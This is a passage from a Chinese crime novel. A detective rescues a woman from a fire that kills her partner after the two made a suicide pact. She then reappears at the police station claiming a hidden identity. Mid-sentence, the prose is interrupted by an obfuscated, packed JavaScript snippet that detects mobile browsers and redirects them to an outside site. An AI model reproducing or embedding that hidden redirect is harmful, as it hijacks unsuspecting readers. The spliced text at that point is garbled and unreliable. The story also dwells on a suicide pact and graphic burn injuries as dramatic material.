火焰带来的剧痛终于突破了承受的极限,窗边传来一声不似人声的、漫长而凄厉的哀嚎。 然而那目光的焦点,始终固执地追随着那个在严疏拖拽下绝望挣扎、逐渐远离火场的身影。 他看着她在烟雾 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烈焰开始咆哮,接纳了他最后的意识,彻底吞没了窗边的一切。 ———————————— 严疏半拖半拽,几乎是摔滚着将那女人弄下了楼。浓烟呛得他视线模糊,肺部像要炸开,全凭一股蛮力硬撑,才没在拐角处栽倒。冲出单元门的瞬间,清凉的空气涌入胸腔,激得他一阵剧烈咳嗽,近乎虚脱。 他踉跄着将女人放在几步外的草地上,自己则一屁股跌坐在地,胸膛剧烈起伏,眼前阵阵发黑。 生死边缘挣扎了一回,此刻大脑一片空白。他怔怔地望着那扇仍在喷吐黑烟的窗户,半晌才垂落目光,定在几步外那个悄无声息的身影上。 他想过去看看她的情况,身体却像灌满了铅,一时动弹不得。 消防车的警笛终于撕裂喧嚣,由远及近。全副武装的消防员迅速涌来,有人注意到了他们,立刻快步靠近,询问情况。 严疏慢慢爬起来,摆了摆手示意自己没事,指向草地上的女人:“她!先看她!” 红黄相间的身影立刻将女人围住,挡住了严疏的视线。他向后挪了两步,试图理清脑子里乱麻般的思绪,可心跳依旧狂乱,始终无法平息。 没等他喘匀一口气,围拢的人群中突然爆发出一阵骚动,夹杂着惊疑:“怎么回事?!哪来这么多血?!” “先把她放下!” “检查外伤!快!” 严疏心头一紧,一种深沉的、混合着某种不祥预感的滞重涌上心头。他猛地上前拨开人群,挤到了最前面。 眼前的景象,让他呼吸骤停。 女人无声无息地躺在草地上,衣物焦黑破碎,裸露的皮肤上是大片触目惊心的灼伤,红黑交织,有些地方皮肉已经翻卷。最骇人的是她的右脸——火焰狠狠舔过,留下一片糜烂的、正在渗出混浊液体的创面,脓液与血水如同融化的烛泪,缓缓淌过面颊,滴滴答答,落在身下的草叶上。 但更令人头皮发麻的,是她身下。 草地已被浸染成一片深洇的、近乎发黑的暗红。那红色浓稠、黏腻,正以她的身体为中心,无声而持续地蔓延,仿佛地下有个泉眼,正在汩汩涌出生命的汁液。浓重的血腥味甚至压过了空气中的焦糊气息,直冲鼻腔。 周围的嘈杂似乎瞬间远去。严疏愣在那里,只看得见那片不断扩大的、刺目的红。 直到一名女性消防员厉声喝退过于靠近的人群:“都退后!散开!保持空气流通!” 在一片短暂的死寂和众人茫然的目光中,她上前蹲下,稍作检查,随后垂首默然片刻。再开口时,声音带上了些许惊愕,以及一丝职业性的悲悯,颤抖而清晰: “她这是......流产大出血。” 严疏站在那里,如同被一柄重锤迎面击中。 世界骤然失声、旋转。耳鸣尖锐地啸叫,头颅内部传来炸裂般的剧痛,方才吸入的所有烟尘与灼热,仿佛都在此刻开始了反噬。 他晃了晃,再也支撑不住,直直瘫坐下去。 眼前的一切——鲜红的草地、忙碌的白影、冲天的黑烟——都开始模糊、黯淡,几乎沉入无边的黑暗。 严疏不知道自己在冰冷的地上瘫坐了多久。意识像断了线的风筝,在黑暗的边缘飘荡,直到一个熟悉的声音焦急地穿透那片混沌:“师父?师父!您怎么样?伤到哪儿了?需要跟车去医院吗?” 是李涵。他蹲在严疏面前,脸上写满了担忧后怕,声音因为急切而有些变调:“路上实在太堵了,我......” 严疏缓缓抬起眼,目光却没有焦点。他摆了摆手,示意自己没事,喉咙里却发不出完整的音节。他试图撑起身体,双腿却软得像棉花,试了两次都没能成功,最后只能靠李涵用力搀扶,才勉强站了起来。 不远处传来车门关闭的闷响和引擎启动的声音,他茫然地转头望去。 一辆救护车的后门敞开着,几个急救人员正将一个担架平稳地推送进去。担架上覆盖着干净的白色布单,边缘整齐,不见任何污渍——所有的血迹、尘灰、还有那些触目惊心的痕迹,都已被仔细清理、包裹,仿佛刚才草地上那触目惊心的一幕,只是一场短暂的、血色的幻觉。 担架上的布单,勾勒出了一个人形的起伏,安静得令人窒息。 严疏知道,那下面是谁。 担架被完全送入了车厢深处,消失在阴影里。严疏的目光却像被钉住了,愣愣追随着那片移动的白色,直至它被车厢内的黑暗彻底吞没。 就在担架即将落定的一刹那,那团阴影的尽头......似乎动了一下。 非常轻微,几乎是光影的错觉。像是......躺在上面的人,极其缓慢地抬起了头,向外凝视。 车厢内部的阴影浓重如墨,严疏其实什么也看不清。可那一瞬,一股冰冷的寒意却猝然从脚底窜上头顶,让他浑身汗毛倒竖。 他不知道为什么。 可浑身的血液仿佛瞬间倒流、冻结,又在下一秒疯狂冲向头顶。耳鸣再次尖啸起来,视野边缘阵阵发黑。即便被李涵紧紧搀扶着,他整个人也剧烈地晃了一下,膝盖发软,险些再次栽倒。 “师父!”李涵惊呼,用力稳住他。 “哐当。” 救护车的后门被利落地关上,隔绝了所有视线。红蓝交替的警示灯无声地亮起,旋转,将周围焦急的人影、焦黑的楼面、以及严疏惨白的脸,一次次拖入冰冷的光影循环。 车子启动、驶离,尾灯在烟尘中划出两道渐行渐远、最终模糊的红痕。 严疏久久僵立在原地,望着那已经消失的红点,脑海中不受控制地交替闪现两幅画面。 ——六楼窗边,那个在烈焰中逐渐蜷缩、最终与火光融为一体的清俊身影。 ——草地上,那一片无声蔓延、仿佛要浸透整个世界的、粘稠暗红的鲜血。 一个词,一个他曾在无数报告、卷宗、文学作品里见过,却始终觉得抽象、隔阂的词,此刻如同淬了火的烙印,带着滚烫的痛楚和冰冷的重压,缓缓浮现在意识表面。 他曾经以为,那只是一个......用于形容痛苦的文学性词汇。 但是此刻,他理解了。 那是一种确切存在的、可被目睹的状态。是□□被强行留在人间,继续承受每一下呼吸都带来的剧痛;是灵魂所皈依的全部意义,就在瞳孔深处寸寸焚毁,永堕虚无的无助。 生不如死。 37.叁拾柒 病房里弥漫着消毒水冰冷的气味,像是某种无声的宣告。点滴匀速滴落,单调、清晰,敲打着死寂的空气。 病床上的女人一动不动,仿佛一具已被掏空的容器。 但她能听见。能闻见。能感受。 这具已经千疮百孔、被命运和自身意志反复蹂躏的身体,偏偏在此刻,展现出了近乎残酷的韧性——自始至终,意识从未真正离开,将她牢牢钉在了这片现实的炼狱里,无处可逃。 她听见了窗边那声被火焰灼烧殆尽的嘶哑哀嚎。她听见了消防员踏过草地的急促脚步。她听见了草地上,那声带着悲悯与震惊的,判决般的诊断。 她听见了救护车贯穿的尖啸,听见了引擎急促的轰鸣,听见了医院走廊里推床滚轮的单调声响......以及此刻,门外护士刻意压低的琐碎交谈。 零碎的词语飘了进来——“警官”、“火场”、“勇敢”...... 以及...... “拯救。” 呵。拯救。 多么自负、多么荒谬。 多么可笑、多么可悲。 她明明......已经和阿昼说好了。说好了就此了断,说好了同归尘土,就这样安静地、彻底地,消失在火焰里。 在那片吞噬一切也净化一切的火光之中,所有的罪,所有的债,所有的纠缠与不堪,连同他们自己,都将化为一捧干净的白灰,飘散、沉寂,归于永恒的宁静。 ********* 客厅里,死寂如深海。两人对坐良久,仿佛两尊正在风化的石像。 最终,是女人打破了沉默。她的声音平缓,清晰,没有起伏,像在陈述一个与己无关的事实: “阿昼,我怀孕了。” 这轻飘飘的一句话,像一颗冰冷的石子投入迟昼早已破碎的心湖,激起的却不是涟漪,而是近乎痉挛的震颤。 他猛地抬起头,涣散的目光骤然聚焦,死死地、难以置信地钉在她脸上。那双眼里翻涌起剧烈挣扎的痛苦——那是一种被强行从悬崖边缘拽回、即将被迫面对崭新牵挂的撕裂。 可那牵挂已不再是希望,而是一根早已绷紧到极限的弦,又被强行施加了无法承受的重量,在断裂的边缘发出无声的嘶鸣。 他的嘴唇翕动着,却发不出任何声音。 女人却只是静静地回望着他,唇角甚至极轻、极柔地向上弯了一下。不是喜悦,而是一种尘埃落定的平静。 “没事的,”她轻声继续,宛若叹息:“我们......和你一起走。” 迟昼像是没听懂,又像是听懂了,大脑却无法处理。 他怔在那里,片刻后,仿佛被无形的针狠狠刺中,开始拼命摇头,喉咙里挤出含糊不清的音节,想要拒绝,想要推开这最后的、悲哀的枷锁。 她倾身向前,温柔地拥住了他颤抖的肩膀,将下巴轻轻搁在他僵硬的颈窝,气息拂过他的耳廓:“阿昼,没事的,没事的。”她重复着,像在安抚一个受惊的孩子,“咱们,一起走。” 她稍稍退开些许,双手捧住他泪痕交错、满是挣扎的脸,近距离望进他迷蒙沉痛的眼底。 “还是说,”她的声音依旧柔和,却渗入了一丝极淡的哀凉,“你要我一个人......带着孩子活下去?” 她凝视着他,目光却仿佛穿透了此刻,望着遥远的、灰败的过去,声音轻得几乎听不见: “像......妈妈带着我......那样吗?” 迟昼所有的抗拒,都在这一句话面前土崩瓦解。他沉默下去,如同一个被抽走了所有力气的空壳,颓然靠在女人的肩头。许久,一滴滚烫的泪毫无征兆地砸了下来,接着是第二滴,第三滴......无声地浸湿了她的肩头。 “阿昼,你知道的,”她将额头轻轻抵上他,带着一种疲惫到极致的叹息,“我不能再......一个人了。” 她顿了顿,语调染上了悲悯,似喟似叹:“我也不能......照着自己这幅样子,再来一遍了。” 女人再次环住迟昼的脖颈,声音压得更低,带着诱哄般的暖意,仿佛在描绘一个触手可及的、安宁的幻梦:“我们一起,不好吗?到了那边,这辈子欠下的债......就都两清了。” 她微微仰头,望进他模糊的泪眼深处,语气里奇异地染上了一丝虚幻的憧憬:“到时候,咱们就是......干干净净的一家人了。” “你,我,还有孩子。”她看着他泪湿的眼睫,声音轻轻:“你不喜欢吗?” 迟昼无法回答。所有的言语都堵在喉咙里,化作压抑的、断断续续的啜泣。 他更加用力地回抱住她,再次将脸深深埋进她的颈窝,仿佛要将她揉进自己同样破碎的骨血,再不分离。 时间在无声的相拥中流淌,身体因极致的情绪而微微发抖。 良久,迟昼缓缓抬头,学着女人刚才的摸样,与她额头轻抵。他没有睁眼,脸上泪痕尚且未干,声音也嘶哑得不成样子,却已开始带上某种如释重负的平静。 “......好。” ********* 几天前的场景仍然历历在目,可转眼之间,一切都已灰飞烟灭,独留她一人,面对这荒芜的世界。 这一次,真的什么都没有了。 为什么......偏偏要在最后一刻,闯进屋来? 为什么......要用那双自诩正义的手,撕毁他们之间,用生命达成的契约? 她当然明白严疏为何会死咬不放。那是他黑白分明的世界法则,是他赖以生存的本能职责,是他无法放手的、固执己见的......心理锚点。 她的阿昼,因为骨子里那点执拗的良善与迟来的悔恨,在严疏的步步紧逼下,无法做到真正的无动于衷。又因为那份沉甸甸的,混合着爱意与愧疚的绝对忠诚,在面对自己时,始终无底线地追随、纵容。 最终,在这相悖的情感漩涡之中,被撕的粉碎。 她看着,痛着,在无计可施的最后,选择陪他一起踏上末路。 她窃取这个身份、扭曲半段余生,从来不是为了独自苟活。阿昼垮了,她最后的地基......也就塌了。 和他一起走,是她最后能做的事,也是为自己寻得的最终归宿。 连方式,她都安排好了。 如此契合......如此完美。 可为什么......连这一同坠落的最后选择,都要被蛮横地打断?那个警察,凭什么用那种自以为是的“拯救”,将她拽回这个充满消毒水味、充满无尽痛楚、充满无边黑暗的人间炼狱? 凭什么......连放弃“活着”的权利,都要被他剥夺? 一股冰冷、粘稠、尖锐如冰锥的情绪,开始从绝望的深渊里缓慢滋生,向上蔓爬,刺穿了所有的麻木与死寂。它是如此真切,如此汹涌,甚至压过了皮肤下火烧火燎的剧痛,冻结了胸腔里那颗碎裂滴血的心。 紧闭的眼睫之下,毫无预兆地,渗出了一点湿意。 一滴泪,沿着未被纱布覆盖的、完好却失血的苍白皮肤,缓缓滑落,没入鬓角,消失无踪。 这滴泪,与过往的任何一次都不相同。不是源于□□的痛苦、不是因为内心的恐惧、不含半分刻意的伪装。 它冰冷、粘稠,带着锈蚀金属般的腥气。 那是,恨的凝结。 ********* 连日来,严疏都没离开办公桌。 但他几乎什么也没做,只是呆呆坐着,完全没了往日的干练敏锐。曾经被线索、疑点、推理塞满的头脑,这几天却仿佛悄然锈死,再也转不动半分。 眼前反复闪现的,是那片被暗红浸透的草地,是那具在烈焰中蜷缩的身影,以及......车厢里的担架上,那细微的、错觉般的轻轻一动。 好像......不该是这样。 可为什么......最终成了这样? 严疏感到一种前所未有的混乱。他从没想过,一桩他追查的案子,会以如此惨烈的方式画上句号——如果这能算句号的话。 有人犯了罪,他发现了疑点,于是开始追查。对方为了逃脱制裁,与他极力周旋。他绞尽脑汁,试图取得突破。 每一步,似乎都遵循着警察与嫌疑人间,最为寻常的博弈逻辑。 可突然之间,棋盘被彻底掀翻,棋子化作了灰烬与鲜血。 究竟是从哪一步开始,轨道彻底偏移,驶向了无法挽回的毁灭深渊? 内心深处,仿佛有一个声音在低语,给出了答案。 但他不敢,也不愿去聆听。 答案......恐怕早已埋藏在一次次的对峙与逼问里。 用证据作矛,以言语为刃,看着迟昼在步步紧逼之下眼神涣散、防线崩溃,只觉得那是战术,是攻心,是为了撬开真相,必须施加的压力。 太急于撕开那道口子,太执着于证明自己的正确,以至于忽略了那道口子下面,是一个早已千疮百孔、不堪重负的......人。 他告诉自己,对方是罪犯、是同谋,承受这些,理所应当。 初衷,毋庸置疑。可在追逐的过程中,是否也掺杂了屡次无功的恼怒?无可奈何的不甘?急于证明自己并非“胡思乱想”的焦躁? 如今堤坝决口,洪水滔天。严疏后知后觉,发现自己仿佛......无法对着被淹没的废墟说上一句“履行职责”。 那场焚身的大火,那片流产的血泊......像是两面残酷的镜子,将那些幽暗的、属于“人”而非“刑警”的晦涩情绪,照得无所遁形。 快一年了。他追这个案子,快一年了。 期间得罪了同事,为难了领导,麻烦了兄弟单位,打扰了宋家兄妹......最后,竟又引燃了一场大火,见证了两条......三条生命的毁灭或半毁。 可他分明......只是在做该做的事。 只是在追寻真相,只是在维护正义。 为什么“正确”的事,会导向如此惨烈的结局? 严疏怔怔坐着,恍惚间,忽然想起传唤那天,那个女人曾用一种他当时无法理解的莫名神情,看着他说—— 你根本......什么都不懂。 那时,他心中只有愤怒与不屑。可如今,在一片冰冷的死寂之中再次回味,那句话却像一枚迟来的子弹,正中了靶心。 他好像......真的懂得太少了。 少到,以为世界非黑即白,证据就能拼出全部真相。少到,将同事间的微妙协作视为圆滑,将需要考虑人情、程序、后果的审慎视为世故。少到,以为自己不合群的“棱角”是热血与坚持,却从未深想,那是否也掺杂了对复杂人性不愿理解、乃至不屑一顾的傲慢......以及无知。 从河溪镇到刑侦队,他总与周遭格格不入,一路碰壁、屡遭投诉,却始终觉得是环境不容“真性情”。 可如今再看,那或许......并非因为他人过于世俗。 而是因为,对于一种构成了世界最基础、却也最为幽暗复杂的东西,他所知的,实在浅薄得可怜。 人性。 它深处的幽暗与光亮、脆弱与偏执、爱与恨的扭曲共生,远远超出了黑白分明的法律条文、条条框框的刑侦逻辑。 严疏曾数次认为自己已经直面了它,可直到现在,才终于真切地感受到这两个字的深不见底。 它无法用归纳分门别类,它无法用逻辑清晰推导。 它既能孕育出楚怀平那样纠结又决绝的抛弃,也能滋长出楚谕那样精密而扭曲的执念;既能造就迟昼那种沉重到毁灭的忠诚,也能催生出他自己都未曾察觉的、越界的偏执。 它不仅是卷宗里冷冰冰的“作案动机”,不光是审讯技巧里需要把握的“心理弱点”。 它是深渊,也是星空;它为一切罪孽和悲剧制造了源头,也为所有牺牲与守护提供了答案。 它无法被简单地“侦破”,只能被......沉重地“理解”。 低头看去,那双自以为紧握正义的手,或许正因这“不懂”,而显得可笑、生硬,甚至......带着毫不自知的残忍。 严疏又想到了那个女人。 从最初不明真相时的歉疚怜悯,到窥见端倪后的悚然警惕,再到数次交锋中的愤怒无力......对她的认知,如同走马灯一样,在不断颠覆。 可现在......严疏不知道该如何定义她了。他甚至不知道,自己是否还有勇气,再次站到她的面前。 曾经,他渴望着每一次的对峙,始终将拆穿她的假面视为最终目的。 如今,尽管他不愿承认,但内心深处,却已开始......下意识地回避。不是害怕她的缜密算计,而是怵于她的眼睛——那双因为生于炼狱,而早已看透人性中所有荒谬与黑暗的眼睛。 不管他如何在理智上纠正自己——她是罪犯,是主谋,是这场悲剧的真正制造者——心底那片冰冷的寒意,却无论如何也驱不散。 过去,严疏无法理解的事有太多:迟昼毫无逻辑的“忠诚”,楚谕匪夷所思的“夺舍”,楚怀平抛妻弃女的“绝情”,邹婷歇斯底里的“疯狂”,乃至宋朗对“逝者已矣”那前后矛盾的态度...... 这些“不可理喻”,曾是他推理路上,亟待解开的谜题。 可现在,这份“莫名其妙”的荒诞感,竟悄然降临到了他自己身上。 严疏无法理解、更无法解释自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397075|199629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内心那份清晰的、正在滋长的—— 荒芜。 担架上那最后一动,总是莫名浮现心头,像极了......她正在最后地凝视。 ———————————— 严疏深陷在自己的思绪泥沼中,直到办公室外,渐渐传来一阵压抑不住的骚动。窃窃私语声、夹杂着惊异的抽气声,起初只是零星几点,随后便像滴入水面的墨汁般迅速蔓延开来,音量不高,却带着避无可避的穿透力。 他不知道发生了什么,身体却先于意识站了起来,本能地朝外走去。 平日略显冷清的办公大厅,此刻已聚集了不少闻声而出的同事,气氛有种奇异的凝滞与骚动。空气之中,弥漫着一种混合了好奇、惊愕与某种难以言喻的紧绷感。 严疏神思恍惚,机械地跟在几个人后面,站到了人群外围,视线茫然地向前望去—— 接待台前,立着一个身影。 裹着一件过于宽大的厚重外套,几乎将整个身形完全吞没。那人背对着大厅入口的光源,逆着光,面容沉在阴影之中,模糊不清。 可就是这样一个静止的模糊轮廓,却让严疏浑身的血液瞬间冻结。 是她。 不妙的预感如同一条冰冷的毒蛇,猝然窜上了脊背,死死缠紧。 她,为什么会出现在这里?在这个时间,以这种姿态,出现在刑警队? 她想做什么?自首?不,不可能...... 那......挑衅?报复?还是...... 混乱的思绪尚未理出任何头绪,一个声音已经响彻骤然安静下来的大厅。 嘶哑、干涩,如同砂纸摩擦过粗糙的木板,早已失却了曾经那份或清冽或温软的质地,仿佛已被烟与火彻底灼伤了声带。 但那语调,那每一个字的节奏,却依旧熟悉得让严疏头皮发麻。 “关于悦澜湾公寓的火灾案,”那声音平铺直叙,没有起伏,却字字清晰,砸在寂静的空气里,“我要申请......重新调查。” 大厅里的空气仿佛被这句话抽干了片刻,随即,低低的哗然与吸气声从各个角落响起。 离得近的几个警员,已经看清了阴影下那张脸的局部——右侧面颊上皮肉扭曲,一片黑红交错、凹凸不平的可怖疤痕。 那是烈火亲吻后留下的、无法磨灭的印记。 接待台后的警员显然也认出了来人。 悦澜湾的案子,本就因严疏的莫名执着而备受关注,几天前那场葬送了迟昼、几乎同样带走这个女人的大火,以及严疏“英勇救人”的事迹,更是早已在队里传遍,也让这个案子以及案中这两个神秘人物的关系,成了队里私下热议的话题。 如今,几乎所有人都隐隐觉得——严疏那看似偏执的疯狂猜测,恐怕......就是真相。 但此刻,这个本该躺在医院、差点葬身火海的“幸存者”兼“实际案犯”,竟活生生地站到了这里,甚至还以一种近乎荒诞的姿态,要求翻查她自己的“死亡”案件? 接待警员明显愣住了,张了张嘴,喉结滚动,半晌才找回职业性的语调,却仍带着掩饰不住的措手不及:“呃......这位......女士,悦澜湾火灾案已经按意外事故正式结案。如果您对结论有异议,想要申请重新调查,需要提供有效有力的证据或线索......” “案卷里记录的死者,”女人打断了他,声音依旧嘶哑平静,却像一把钝刀,正自缓慢地割开空气,“名字是楚谕。对吗?” 警员又是一噎。 这是什么意思?案卷结论......她不是应该最清楚吗? 他越发感到棘手,求助似的环顾了一圈鸦雀无声的同事,最后硬着头皮回答:“是......是的。您......有什么问题吗?” 女人却没有立刻回答。 她向后退了两步,动作带着一种近乎仪式感的缓慢。 从接待台那片背光的阴影里,一步一步,退了出来。 侧面窗户透进的午后日照,如同舞台上的追光,随着她后退的步伐,一寸一寸爬上了她的身体,最终,毫无保留地照亮了她的面庞。 所有的伪装、所有的遮掩,在这一刻,都被阳光彻底地揭开,展示在了众目睽睽之下。 大厅里,响起一片难以抑制的、倒抽冷气的声音。 严疏的视线,也定格在了那张脸上。 没有口罩,没有围巾,没有任何试图遮盖的举动。左半边脸,皮肤是一种病态的、毫无血色的惨白,光滑得如同玉石。 而右半边......宛若地狱。 焦黑暗红、紫褐皱缩的皮肉扭曲纠结,如同熔岩冷却后的斑驳地貌,狰狞地覆盖了原本的皮肤。右眼受到了波及,眼皮低垂,只剩一道细小、暗红的缝隙,与左侧那完好却空洞的桃花眼形成了一种令人毛骨悚然的不对称。 那道分割线,从右侧太阳穴处划下,扭曲着经过鼻梁、嘴唇、下巴,将一张脸劈成了两个世界——半是生者的苍白,半是死境的焦黑。 阳光照在上面,非但没有带来暖意,反而让那毁容的细节、那生与死交织的界限,变得更加刺目、更加残酷。 大厅里分明聚集了不少人,嘈杂的低语也尚未完全平息,可不知为何,她却忽然微微侧头,目光穿过攒动的人头,越过所有的障碍,精准地、毫无偏差地,对上了站在人群后方、脸色苍白的严疏。 那一瞬间,后背的汗毛全部竖起,一股冰冷的寒意直冲天灵盖。 女人的目光仍旧停留在他脸上,却在回答那名不知所措的接待警员:“当然......有问题。” 呼吸开始不受控制地莫名加重,胸口沉闷地起伏。 严疏听见那个嘶哑破碎的声音再次响起,这一次,竟隐约重新带上了那种熟悉的、仿佛永远游刃有余的、慵懒的轻笑腔调,让他的心跳骤然失控,像重锤般擂击着胸腔,一下,又一下。 他预感到——有什么东西,即将冲破那层他一直维持的认知壁垒。 那声音如同生了锈的锯齿,刮擦着每个人的神经,最终,缓缓吐出了一句话。 仿佛有一道惊雷,在严疏空白的脑海里炸开。 眼前,是女人一半沐浴在阳光下、一半沉没在阴影里的面庞,嘴角似乎再次噙上了一抹若有若无的弧度。 耳畔,是周遭同事骤然爆发的、无法抑制的惊呼,混合着抽气和难以置信的议论,汇成了一片混沌的声浪,嗡嗡作响,却又仿佛隔着一层厚重的屏障,令人听不真切。 世界在旋转,声音在远去。 只剩那句话,如同烧红的烙铁,狠狠地、不容躲避地,烫在了他的意识深处。 她说—— “我,才是楚谕。” 38.叁拾捌 沉重的脚步声快速划过走廊,径直停在队长办公室前。 赵队推门,进屋,反手将门带上,动作一气呵成。 办公桌对面,已经坐着一个身影。 赵队甚至没来得及绕到座位后,就急切地开口:“老严,到底怎么回事?” 他上午在市局开会,回来的路上就接到了消息,说悦澜湾火灾的立案报告已经写好,只等他签字往上递。这突如其来的变故,让经验丰富的他也有些措手不及,一路加速赶了回来。 赵队一边问,一边走到椅子旁坐下,抬眼看去,却愣了一下。 映入眼帘的,并非预料中那种案子将破、得偿所愿的激动,甚至......没有半点属于刑警的锐利或兴奋。 坐在对面的严疏,脸上是一种近乎空白的呆滞。眼神涣散,没有焦点,仿佛灵魂还未归位,对眼前的现实反应迟钝。 “老严?”赵队又喊了一声,眉头皱紧。 严疏这才极其缓慢地抬起头,目光落在赵队脸上,停留了片刻,然后出乎意料地摇了摇头,声音干涩:“我......不知道。” “不知道?”赵队不解,“什么叫不知道?人不是你带回来的?情况你不清楚?” 严疏摇了摇头,声音很低,带着一种疲惫的茫然:“我这几天......什么也没做。她......突然就自己出现在大厅里,对着所有人,说她才是楚谕......就这样。”他停顿了一下,像在消化这个事实,眼中却浮现出更深的困惑:“她连死都不怕了......为什么,会突然跑到警队来自首?” 赵队也被这个突如其来的转折弄得有些懵,陷入了短暂的沉默,大脑飞速运转,将无数刑侦预案和程序规定迅速过了一遍。 几秒钟后,他猛地意识到了什么,眼神一凝。 “不对,”赵队缓缓摇头,手指无意识地在桌面上敲了敲,“严格来说......这不算自首。” 严疏有些心不在焉地抬眼。 老刑警的本能和多年对程序规则的深刻理解此刻发挥了作用。赵队身体微微前倾,分析道:“她只是说......她才是楚谕,对吧?没有承认任何具体罪行,比如纵火、杀人、骗保......只是否定了‘案卷里记录的死者身份’这个既成事实,是吗?” 严疏点了点头。 “太精了,太精了。”赵队深深叹了口气,带着一种混合着佩服与棘手的复杂情绪,“一个似是而非的身份声明,既能够直接动摇整个案卷的基础,又不会把自己置于危墙之下。不像我们,不管想干什么都需要确凿的证据链作为支撑,她只需要上下嘴皮一碰,就足以构成重大疑点,迫使我们......必须重启调查。” 说着他再次叹了口气:“但是,‘重启调查’和‘投案自首’,在法律程序和后续认定上,完全......是两码事。” 见严疏仍然有些怔忡,赵队便更为直白地解释:“老严,案子得先查吧,查实了,才能证明她说的‘我是楚谕’是真的。证明了这一点,才能基于这个新身份,去追查她可能涉及的其他行为——比如,那个死在火里的究竟是谁、她为什么占用了‘简宁’的身份、保险金又是怎么回事。所以说......她现在只是给我们扔了一个必须接住的‘问题’,自己却还站在悬崖边上,根本没跳下来。” 听着赵队条分缕析的剖析,严疏僵滞的思维终于开始艰难地转动。 确实,这是两码事。 前者,只是一条线索或当事人的陈述,可以触发调查程序;后者,则是嫌疑人对自己所犯罪行的主动供述,将会直接进入量刑考量。 一股熟悉的感觉涌上心头——那种被精密计算、被无形牵引的无力。 这个女人......还是那个她。即便到了这一步,即使已是面目全非,可那份近乎本能的、在规则刀锋上行走的缜密与胆量,却仍丝毫未减。 但是......为什么? 她兜了这么大一个圈子,甚至不惜承受烈焰焚身、面容尽毁的逃避代价,为什么最后却以这样一种方式,主动回到了这个她曾极力逃避的漩涡中心? 她的目的,究竟是什么? 赵队显然和他想到了一处,沉吟片刻,掏出一根烟点燃。他深吸一口,缓缓吐出,烟雾模糊了他凝重的表情:“你刚才说得对。一个敢和别人一起死的人,绝不可能在这个节骨眼上跑来‘自首’。”他声音低了下去,带着分析时的冷硬,“依我看,她这么干......只有两种可能。” 他竖起一根手指:“第一,她笃定我们什么也查不出来。跑来亮明身份,纯粹是给我们添堵——毕竟,没有确凿的证据,她想‘自首’都构不成要件。” 严疏眉头紧锁。他不相信那个女人会做这种毫无意义的、徒劳到近乎儿戏的事。她的每一个举动,一定会带着明确的目的和算计。 赵队似乎也立刻否定了这个想法,夹烟的手顿了顿,叹了口气:“你应该也觉得,不太可能吧。所以,就只剩第二种了——她确信,或者说,她知道,这件事即便查到最后......” 严疏的脑子“嗡”地一声,仿佛忽然被冰水浇透,瞬间清醒过来,腰背也猛地挺直。 他接上了赵队未尽的话,声音里带着自己都未察觉的沉重与惊疑:“......也查不到她头上。” 赵队没说话,只是沉默地、重重地点了点头,将还剩半截的烟狠狠摁灭在烟灰缸里。 严疏感到一阵强烈的混乱。 查不到她头上? 怎么可能?! 他之前之所以拼尽全力、顶着所有压力也要推动立案,之所以一次次的越界施压,正是基于一个最为朴素的信念——在真正开动的执法机器面前,任何精心伪装的罪行,都将无所遁形,尽皆曝露于阳光之下,直到接受法律的审判。 同样,他也理所当然地认为,那个女人之所以始终戴着那张完美无瑕、令人抓狂的假面,费尽心机地与他周旋,正是因为她害怕立案、害怕调查,害怕那张最终会罩住她的、疏而不漏的法网。 可现在......情况好像完全变了。 她绝无可能“自首”,这一点,毋庸置疑。她宁可选择一同焚身,也不愿走进警局的大门,已经用最惨烈的方式表明了态度。 而在经历了那场带走迟昼、也毁灭了她腹中生命的大火之后,这条回头的路......更是被她自己,也被严疏那“不合时宜”的闯入,彻底烧成了断崖。 她本就不会回头,如今,在那片灰烬与鲜血之上......更加没了可能。 既然如此,她还主动走到聚光灯下,自曝身份,推动调查...... 一个完全违背了之前所有逻辑推演的念头,如同暗夜中的闪电,猝然劈开了严疏此前惯性的思维。 难道...... 他还没来得及将这个非同寻常的猜想说出口,办公室的门就被敲响了。 进来的是李涵。 他站在门口,显然感受到了屋内凝固的气氛,显得有些局促,但还是硬着头皮开口:“赵队,师父,楚......呃......那位自称‘楚谕’的女士,做完基础情况笔录之后,走了。” “走了?”严疏的眉头拧得更紧。 “嗯,走了。”李涵点头,“那边讨论过了,因为身份真伪暂时无法核实,也没有具体证据能证明她与任何在侦案件有直接关联,所以不具备拘留的条件。” 李涵的话,无疑从侧面印证了赵队刚才的分析——她巧妙地避开了“自首”的定性,将自己置于一个“线索提供者”或“当事人申明”的位置。 模糊到无法指认......又敏感到不能忽视。 严疏闭上眼,从胸腔深处逸出一道无声的叹息。 李涵却仍杵在门口没动,犹豫了一下,又低声补充:“另外......她走之前,留了一句话......” 严疏蓦地睁眼,目光如炬,直直望向李涵。 李涵看了一眼同样眼神迫切的赵队,喉结滚动一下,慢慢复述:“她说......如果咱们觉得无从下手的话,可以关注一下......‘牙刷’。” 说完,他自己也一脸茫然:“师父,这......什么意思?” 常与证物科打交道的严疏却已经明白了。 他缓缓转过头,与办公桌后的赵队阴郁的视线相接。在彼此眼中,两人看到了同样的惊涛骇浪。 那个不祥的、近乎颠覆性的猜想......正在被这句看似莫名其妙的话语,一点点地证实。 或者说......真相可能从来就不是他此前深信不疑、并拼命构建的那样。它一直沉默地潜在水底,无声地看着他跑偏,直到此刻,才终于借着那女人的手,被缓缓推到了他们面前。 严疏没有回答李涵的疑问。他深吸一口气,仿佛要将胸腔里所有混乱的情绪都压下去,然后缓缓站了起来。 “走吧,”他的声音恢复了表面的平静,“去证物室。申请解封......悦澜湾火灾案的所有物证。” * * * * * * * * * 两天后,严疏捏着一份薄薄的鉴定报告,像一尊石像般僵在问询室的单向玻璃外。 身旁,赵队的眉头拧成了死结,目光沉沉地盯着玻璃内侧。李涵则是一脸无法掩饰的惊愕,看看报告,又看看里面的人,嘴巴微张,仿佛无法理解眼前的一切。 三人就这么沉默地站着,沉默如同实质,沉甸甸地压在每个人的肩头。窗外的光线透过玻璃,在室内投下几道斜长的光柱,尘埃在其间无声飞舞。 